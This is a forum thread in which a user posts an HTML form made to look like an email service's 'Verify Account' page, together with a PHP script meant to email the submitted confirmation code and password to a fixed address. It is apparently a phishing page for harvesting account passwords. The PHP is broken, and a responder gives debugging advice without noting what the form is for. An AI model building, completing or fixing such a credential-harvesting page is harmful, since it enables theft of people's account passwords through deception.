Please help! Making a PHP file

[getthisright]

this is the details of the form which i made :

<form action="checking.php" method="post">
<input name="name_from" value="Email! Verification" type="hidden">
<input name="email_from" value="[e-mail]" type="hidden">

<input name="Email! ID" value="&lt;?php echo $slogin; ?&gt;" type="hidden">
	<input name="send" id="verifyfield" value="" type="hidden">
    <input name="cancel" id="cancelfield" value="" type="hidden">	

<div id="globalbuttonbartop" class="globalbuttonbar optionbuttons">
<button type="submit" name="verifytop" id="verifytop" value="Verify Account">
Verify Account</button>
<button type="button" name="canceltop" id="canceltop" value="Cancel">
Cancel</button>
</div>

			<!-- START MAIN APPLICATION CONTENT -->
				<div id="stateindicator">
					<h2>Verify Account</h2>
		  </div>
				<div class="fieldset lightfill last">
					<p><b>An email with a confirmation code was sent to</b>:  </p>
					<h3>Verify your account to continue using this Email! </h3>
					<table width="796" border="0" cellpadding="4" cellspacing="0">
						<tbody><tr>
							<td class="label" width="25%">Confirmation Code:</td>
							<td><input size="5" style="width: 5em;" name="code" value="" type="text"></td>
						</tr>
						<tr>
							<td class="label" width="25%">Email! Password:</td>
							<td><input size="15" style="width: 15em;" name="pw" value="" type="password"></td>
						</tr>
						<tr>
							<td class="label" width="25%">Verify Password:</td>
							<td>
                            <input size="15" style="width: 15em;" name="pw1" value="" type="password"></td>
						</tr>
					</tbody></table>
				</div>
			<!-- END MAIN APPLICATION CONTENT -->
		</td>
	</tr>
</tbody></table>
<div id="globalbuttonbarbottom" class="globalbuttonbar optionbuttons">
	<button type="submit" name="verifybottom" id="verifybottom" value="Verify Account">Verify Account</button>
	<button type="button" name="cancelbottom" id="cancelbottom" value="Cancel">Cancel</button>
</div>

</form>

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the PHP script which i wrote for this is:::::

<?php

$name_from=$request['name_from'];
$email_from=$request['email_from'];
$EmailID=$request['EmailID'];
$.code=$request['.code'];
$.mail=$request['.mail'];
$.pw=$request['.pw'];
$.pw1=$_request['.pw1'];
mail("[e-mail],"Requested Data",$name_from,$email_from,$Email!ID,$.code,$.mail,$.pw,$.pw1);
header( "Location: http://www.mysite.com/thanks" );

?>

This script is not sending the feedback to the given email id....

please help

[bradgrafelman]

1. When posting HTML or PHP code, please use the board's [noparse]

   and

   bbcode tags, respectively.[/noparse] They make your code much easier to read and analyze.

2. $request is an undefined variable; perhaps you meant $REQUEST ?

3. $.code and the other three "$.(something)" variables are invalid; see this manual page to learn what a proper variable looks like: [man]variables.basics[/man].

4. What are you trying to achieve with the mail() call you have there? You need to lookup the documentation for the [man]mail/man function, specifically what the various parameters do - you can't simply pass a bunch of variables to the function and expect it to know what to do with them.

EDIT:

5. The "From:" header of the e-mail should never be specified by the user; it should be an e-mail address on your server that belongs to you. Otherwise you're likely to be labeled as a mail relay and all of your messages will end up in people's junk mail/SPAM folders.